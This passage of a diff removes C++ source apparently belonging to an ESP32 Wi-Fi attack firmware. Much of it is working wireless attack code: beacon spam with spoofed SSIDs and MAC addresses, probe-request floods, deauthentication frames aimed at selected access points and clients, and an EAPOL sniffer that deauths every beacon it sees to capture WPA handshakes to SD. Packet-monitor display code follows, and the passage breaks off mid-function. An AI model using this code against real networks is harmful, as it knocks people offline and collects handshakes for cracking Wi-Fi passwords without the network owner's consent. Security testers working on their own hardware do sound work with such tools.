-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = custom_ssid.bssid[0];
-  packet[11] = packet[17] = custom_ssid.bssid[1];
-  packet[12] = packet[18] = custom_ssid.bssid[2];
-  packet[13] = packet[19] = custom_ssid.bssid[3];
-  packet[14] = packet[20] = custom_ssid.bssid[4];
-  packet[15] = packet[21] = custom_ssid.bssid[5];
-
-  char ESSID[custom_ssid.essid.length() + 1] = {};
-  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
-
-  int ssidLen = strlen(ESSID);
-  //int rand_len = sizeof(rand_reg);
-  int fullLen = ssidLen;
-  packet[37] = fullLen;
-
-  // Insert my tag
-  for(int i = 0; i < ssidLen; i++)
-    packet[38 + i] = ESSID[i];
-
-  /////////////////////////////
-  
-  packet[50 + fullLen] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  for(int i = 0; i < 12; i++) 
-    packet[38 + fullLen + i] = postSSID[i];
-  
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-// Function to send beacons with random ESSID length
-void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = random(256);
-  packet[11] = packet[17] = random(256);
-  packet[12] = packet[18] = random(256);
-  packet[13] = packet[19] = random(256);
-  packet[14] = packet[20] = random(256);
-  packet[15] = packet[21] = random(256);
-
-  int ssidLen = strlen(ESSID);
-  //int rand_len = sizeof(rand_reg);
-  int fullLen = ssidLen;
-  packet[37] = fullLen;
-
-  // Insert my tag
-  for(int i = 0; i < ssidLen; i++)
-    packet[38 + i] = ESSID[i];
-
-  /////////////////////////////
-  
-  packet[50 + fullLen] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  for(int i = 0; i < 12; i++) 
-    packet[38 + fullLen + i] = postSSID[i];
-  
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-
-  packets_sent = packets_sent + 3;
-  
-}
-
-// Function for sending crafted beacon frames
-void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
-
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = random(256);
-  packet[11] = packet[17] = random(256);
-  packet[12] = packet[18] = random(256);
-  packet[13] = packet[19] = random(256);
-  packet[14] = packet[20] = random(256);
-  packet[15] = packet[21] = random(256);
-
-  packet[37] = 6;
-  
-  
-  // Randomize SSID (Fixed size 6. Lazy right?)
-  packet[38] = alfa[random(65)];
-  packet[39] = alfa[random(65)];
-  packet[40] = alfa[random(65)];
-  packet[41] = alfa[random(65)];
-  packet[42] = alfa[random(65)];
-  packet[43] = alfa[random(65)];
-  
-  packet[56] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  for(int i = 0; i < 12; i++) 
-    packet[38 + 6 + i] = postSSID[i];
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
-  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
-
-  packets_sent = packets_sent + 3;
-}
-
-// Function to send probe flood to all "active" access points
-void WiFiScan::sendProbeAttack(uint32_t currentTime) {
-  // Itterate through all access points in list
-  for (int i = 0; i < access_points->size(); i++) {
-
-    // Check if active
-    if (access_points->get(i).selected) {
-      this->set_channel = access_points->get(i).channel;
-      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-      delay(1);
-      
-      // Build packet
-      // Randomize SRC MAC
-      
-      prob_req_packet[10] = random(256);
-      prob_req_packet[11] = random(256);
-      prob_req_packet[12] = random(256);
-      prob_req_packet[13] = random(256);
-      prob_req_packet[14] = random(256);
-      prob_req_packet[15] = random(256);
-
-      // Set SSID length
-      int ssidLen = access_points->get(i).essid.length();
-      //int rand_len = sizeof(rand_reg);
-      int fullLen = ssidLen;
-      prob_req_packet[25] = fullLen;
-
-      // Insert ESSID
-      char buf[access_points->get(i).essid.length() + 1] = {};
-      access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
-      
-      for(int i = 0; i < ssidLen; i++)
-        prob_req_packet[26 + i] = buf[i];
-        
-      /*
-       * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24, 
-                                  0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a, 
-                                  0xad, 0x01, 0x17, 0xff, 0xff, 0x00, 
-                                  0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 
-                                  0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
-                                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
-                                  0x00, 0x00
-       */
-
-      uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12, 
-                              0x18, 0x24, 0x30, 0x48, 0x60, 0x6c, 
-                              0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff, 
-                              0xff, 0x00, 0x00, 0x7e, 0x00, 0x00, 
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
-                              0x00, 0x00, 0x00, 0x00};
-
-      uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
-      
-      for (int i = 0; i < 26 + fullLen; i++)
-        good_probe_req_packet[i] = prob_req_packet[i];
-
-      for(int i = 0; i < 40; i++) 
-        good_probe_req_packet[26 + fullLen + i] = postSSID[i];
-
-      
-
-      // Send packet
-      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
-
-      packets_sent = packets_sent + 3;
-    }
-  }
-}
-
-void WiFiScan::sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]) {
-  WiFiScan::set_channel = channel;
-  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-  
-  // Build AP source packet
-  deauth_frame_default[4] = mac[0];
-  deauth_frame_default[5] = mac[1];
-  deauth_frame_default[6] = mac[2];
-  deauth_frame_default[7] = mac[3];
-  deauth_frame_default[8] = mac[4];
-  deauth_frame_default[9] = mac[5];
-  
-  deauth_frame_default[10] = bssid[0];
-  deauth_frame_default[11] = bssid[1];
-  deauth_frame_default[12] = bssid[2];
-  deauth_frame_default[13] = bssid[3];
-  deauth_frame_default[14] = bssid[4];
-  deauth_frame_default[15] = bssid[5];
-
-  deauth_frame_default[16] = bssid[0];
-  deauth_frame_default[17] = bssid[1];
-  deauth_frame_default[18] = bssid[2];
-  deauth_frame_default[19] = bssid[3];
-  deauth_frame_default[20] = bssid[4];
-  deauth_frame_default[21] = bssid[5];      
-
-  // Send packet
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-  packets_sent = packets_sent + 3;
-
-  // Build AP dest packet
-  deauth_frame_default[4] = bssid[0];
-  deauth_frame_default[5] = bssid[1];
-  deauth_frame_default[6] = bssid[2];
-  deauth_frame_default[7] = bssid[3];
-  deauth_frame_default[8] = bssid[4];
-  deauth_frame_default[9] = bssid[5];
-  
-  deauth_frame_default[10] = mac[0];
-  deauth_frame_default[11] = mac[1];
-  deauth_frame_default[12] = mac[2];
-  deauth_frame_default[13] = mac[3];
-  deauth_frame_default[14] = mac[4];
-  deauth_frame_default[15] = mac[5];
-
-  deauth_frame_default[16] = mac[0];
-  deauth_frame_default[17] = mac[1];
-  deauth_frame_default[18] = mac[2];
-  deauth_frame_default[19] = mac[3];
-  deauth_frame_default[20] = mac[4];
-  deauth_frame_default[21] = mac[5];      
-
-  // Send packet
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
-  // Itterate through all access points in list
-  // Check if active
-  WiFiScan::set_channel = channel;
-  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-  
-  // Build packet
-
-  sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
-        &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
-  
-  deauth_frame_default[10] = bssid[0];
-  deauth_frame_default[11] = bssid[1];
-  deauth_frame_default[12] = bssid[2];
-  deauth_frame_default[13] = bssid[3];
-  deauth_frame_default[14] = bssid[4];
-  deauth_frame_default[15] = bssid[5];
-
-  deauth_frame_default[16] = bssid[0];
-  deauth_frame_default[17] = bssid[1];
-  deauth_frame_default[18] = bssid[2];
-  deauth_frame_default[19] = bssid[3];
-  deauth_frame_default[20] = bssid[4];
-  deauth_frame_default[21] = bssid[5];      
-
-  // Send packet
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
-  // Itterate through all access points in list
-  for (int i = 0; i < access_points->size(); i++) {
-
-    // Check if active
-    if (access_points->get(i).selected) {
-      this->set_channel = access_points->get(i).channel;
-      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-      delay(1);
-      
-      // Build packet
-
-      sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
-            &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
-      
-      deauth_frame_default[10] = access_points->get(i).bssid[0];
-      deauth_frame_default[11] = access_points->get(i).bssid[1];
-      deauth_frame_default[12] = access_points->get(i).bssid[2];
-      deauth_frame_default[13] = access_points->get(i).bssid[3];
-      deauth_frame_default[14] = access_points->get(i).bssid[4];
-      deauth_frame_default[15] = access_points->get(i).bssid[5];
-
-      deauth_frame_default[16] = access_points->get(i).bssid[0];
-      deauth_frame_default[17] = access_points->get(i).bssid[1];
-      deauth_frame_default[18] = access_points->get(i).bssid[2];
-      deauth_frame_default[19] = access_points->get(i).bssid[3];
-      deauth_frame_default[20] = access_points->get(i).bssid[4];
-      deauth_frame_default[21] = access_points->get(i).bssid[5];      
-
-      // Send packet
-      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-      packets_sent = packets_sent + 3;
-    }
-  }
-}
-
-
-void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  #ifdef HAS_SCREEN
-    int buff = display_obj.display_buffer->size();
-  #else
-    int buff = 0;
-  #endif
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifndef MARAUDER_MINI
-      if (snifferPacket->payload[0] == 0x80)
-      {
-        num_beacon++;
-      }
-      else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
-      {
-        num_deauth++;
-      }
-      else if (snifferPacket->payload[0] == 0x40)
-      {
-        num_probe++;
-      }
-    #endif
-
-    char addr[] = "00:00:00:00:00:00";
-    getMAC(addr, snifferPacket->payload, 10);
-    display_string.concat(addr);
-
-    int temp_len = display_string.length();
-
-    #ifdef HAS_SCREEN
-      for (int i = 0; i < 40 - temp_len; i++)
-      {
-        display_string.concat(" ");
-      }
-    
-      //Serial.print(" ");
-    
-      #ifdef MARAUDER_MINI
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-    #endif
-
-    if (save_packet)
-      sd_obj.addPacket(snifferPacket->payload, len);
-  }
-}
-
-void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  #ifdef HAS_SCREEN
-    int buff = display_obj.display_buffer->size();
-  #else
-    int buff = 0;
-  #endif
-
-  // Found beacon frame. Decide whether to deauth
-  if (send_deauth) {
-    if (snifferPacket->payload[0] == 0x80) {    
-      // Build packet
-  
-      uint8_t new_packet[26] = {
-                                0xc0, 0x00, 0x3a, 0x01,
-                                0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
-                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                                0xf0, 0xff, 0x02, 0x00
-                            };
-      
-      new_packet[10] = snifferPacket->payload[10];
-      new_packet[11] = snifferPacket->payload[11];
-      new_packet[12] = snifferPacket->payload[12];
-      new_packet[13] = snifferPacket->payload[13];
-      new_packet[14] = snifferPacket->payload[14];
-      new_packet[15] = snifferPacket->payload[15];
-    
-      new_packet[16] = snifferPacket->payload[10];
-      new_packet[17] = snifferPacket->payload[11];
-      new_packet[18] = snifferPacket->payload[12];
-      new_packet[19] = snifferPacket->payload[13];
-      new_packet[20] = snifferPacket->payload[14];
-      new_packet[21] = snifferPacket->payload[15];      
-    
-      // Send packet
-      //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-      //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-      delay(1);
-    }
-
-
-  }
-
-  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
-    num_eapol++;
-    Serial.println("Received EAPOL:");
-
-    char addr[] = "00:00:00:00:00:00";
-    getMAC(addr, snifferPacket->payload, 10);
-    display_string.concat(addr);
-
-    int temp_len = display_string.length();
-
-   #ifdef HAS_SCREEN
-      for (int i = 0; i < 40 - temp_len; i++)
-      {
-        display_string.concat(" ");
-      }
-
-      Serial.print(" ");
-
-      #ifdef MARAUDER_MINI
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-    #endif
-    
-//    for (int i = 0; i < len; i++) {
-//      char hexCar[4];
-//      sprintf(hexCar, "%02X", snifferPacket->payload[i]);
-//      Serial.print(hexCar);
-      //Serial.print(snifferPacket->payload[i], HEX);
-//      if ((i + 1) % 16 == 0)
-//        Serial.print("\n");
-//      else
-//        Serial.print(" ");
-//    }
-  
-//    Serial.print("\n");
-  }
-
-  if (save_packet)
-    sd_obj.addPacket(snifferPacket->payload, len);
-}
-
-void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  // Found beacon frame. Decide whether to deauth
-
-  if (snifferPacket->payload[0] == 0x80) {    
-    // Build packet
-
-    //Serial.println("Recieved beacon frame");
-
-    uint8_t new_packet[26] = {
-                              0xc0, 0x00, 0x3a, 0x01,
-                              0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                              0xf0, 0xff, 0x02, 0x00
-                          };
-    
-    new_packet[10] = snifferPacket->payload[10];
-    new_packet[11] = snifferPacket->payload[11];
-    new_packet[12] = snifferPacket->payload[12];
-    new_packet[13] = snifferPacket->payload[13];
-    new_packet[14] = snifferPacket->payload[14];
-    new_packet[15] = snifferPacket->payload[15];
-  
-    new_packet[16] = snifferPacket->payload[10];
-    new_packet[17] = snifferPacket->payload[11];
-    new_packet[18] = snifferPacket->payload[12];
-    new_packet[19] = snifferPacket->payload[13];
-    new_packet[20] = snifferPacket->payload[14];
-    new_packet[21] = snifferPacket->payload[15];      
-  
-    // Send packet
-    //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-    //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-    esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-    delay(1);
-  }
-
-
-
-  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
-    num_eapol++;
-    Serial.println("Received EAPOL:");
-
-//    for (int i = 0; i < len; i++) {
-//      char hexCar[3];
-//      snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
-//      Serial.print(hexCar);
-      //Serial.print(snifferPacket->payload[i], HEX);
-//      if ((i + 1) % 16 == 0)
-//        Serial.print("\n");
-//      else
-//        Serial.print(" ");
-//    }
-  
-//    Serial.print("\n");
-  }
-
-  if (save_packet)
-    sd_obj.addPacket(snifferPacket->payload, len);
-}
-
-#ifdef HAS_SCREEN
-  void WiFiScan::eapolMonitorMain(uint32_t currentTime)
-  {
-    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
-    
-  
-  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
-    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
-    {
-      currentTime = millis();
-      do_break = false;
-  
-      y_pos_x = 0;
-      y_pos_y = 0;
-      y_pos_z = 0;
-      boolean pressed = false;
-  
-      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
-  
-      // Do the touch stuff
-      pressed = display_obj.tft.getTouch(&t_x, &t_y);
-  
-      if (pressed) {
-        Serial.print("Got touch | X: ");
-        Serial.print(t_x);
-        Serial.print(" Y: ");
-        Serial.println(t_y);
-      }
-  
-  
-      // Check buttons for presses
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (pressed && display_obj.key[b].contains(t_x, t_y))
-        {
-          display_obj.key[b].press(true);
-        } else {
-          display_obj.key[b].press(false);
-        }
-      }
-  
-      // Which buttons pressed
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (display_obj.key[b].justPressed())
-        {
-          Serial.println("Bro, key pressed");
-          //do_break = true;
-        }
-  
-        if (display_obj.key[b].justReleased())
-        {
-          do_break = true;
-  
-          // Channel - button pressed
-          if (b == 4) {
-            if (set_channel > 1) {
-              Serial.println("Shit channel down");
-              set_channel--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              //display_obj.tftDrawXScaleButtons(x_scale);
-              //display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-  
-          // Channel + button pressed
-          else if (b == 5) {
-            if (set_channel < MAX_CHANNEL) {
-              Serial.println("Shit channel up");
-              set_channel++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              //display_obj.tftDrawXScaleButtons(x_scale);
-              //display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-          else if (b == 6) {
-            Serial.println("Exiting packet monitor...");
-            this->StartScan(WIFI_SCAN_OFF);
-            //display_obj.tft.init();
-            this->orient_display = true;
-            return;
-          }
-        }
-      }
-  
-      if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
-        //Serial.println("-----------------------------------------");
-        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
-        x_pos += x_scale;
-        initTime = millis();
-        y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
-        if (y_pos_x >= HEIGHT_1) {
-          Serial.println("Max EAPOL number reached. Adjusting...");
-          num_eapol = 0;
-        }
-        //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
-        //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
-  
-        //Serial.println("num_beacon: " + (String)num_beacon);
-        //Serial.println("num_deauth: " + (String)num_deauth);
-        //Serial.println(" num_probe: " + (String)num_probe);
-  
-        //num_beacon = 0;
-        //num_probe = 0;
-        //num_deauth = 0;
-  
-        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
-        //Plot "X" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
-        //Plot "Z" value
-        //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
-        //Plot "Y" value
-        //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
-  
-        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
-        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
-        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
-        {
-          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
-        }
-        else
-        {
-          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
-        }
-        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
-        //if (x_pos <= 90)
-        if (x_pos < 0) // below x axis
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
-        }
-        else
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
-        }
-  
-        //tftDisplayTime();
-  
-        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
-        {
-          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
-        }
-  
-        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
-        //y_pos_y_old = y_pos_y;
-        //y_pos_z_old = y_pos_z;
-  
-        //delay(50);
-      }
-  
-      sd_obj.main();
-  
-    }
-  
-    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
-    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
-    display_obj.tftDrawChannelScaleButtons(set_channel);
-    display_obj.tftDrawExitScaleButtons();
-    display_obj.tftDrawEapolColorKey();
-    display_obj.tftDrawGraphObjects(x_scale);
-  }
-
-  void WiFiScan::packetMonitorMain(uint32_t currentTime)
-  {
-    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
-    
-    
-  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
-    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
-    {
-      currentTime = millis();
-      do_break = false;
-      
-      y_pos_x = 0;
-      y_pos_y = 0;
-      y_pos_z = 0;
-      boolean pressed = false;
-      
-      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
-  
-      // Do the touch stuff
-      pressed = display_obj.tft.getTouch(&t_x, &t_y);
-  
-      if (pressed) {
-        Serial.print("Got touch | X: ");
-        Serial.print(t_x);
-        Serial.print(" Y: ");
-        Serial.println(t_y);
-      }
-  
-  
-      // Check buttons for presses
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (pressed && display_obj.key[b].contains(t_x, t_y))
-        {
-          display_obj.key[b].press(true);
-        } else {
-          display_obj.key[b].press(false);
-        }
-      }
-      
-      // Which buttons pressed
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (display_obj.key[b].justPressed())
-        {
-          Serial.println("Bro, key pressed");
-          //do_break = true;
-        }
-  
-        if (display_obj.key[b].justReleased())
-        {
-          do_break = true;
-          
-          // X - button pressed
-          if (b == 0) {
-            if (x_scale > 1) {
-              x_scale--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              break;
-            }
-          }
-          // X + button pressed
-          else if (b == 1) {
-            if (x_scale < 6) {
-              x_scale++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
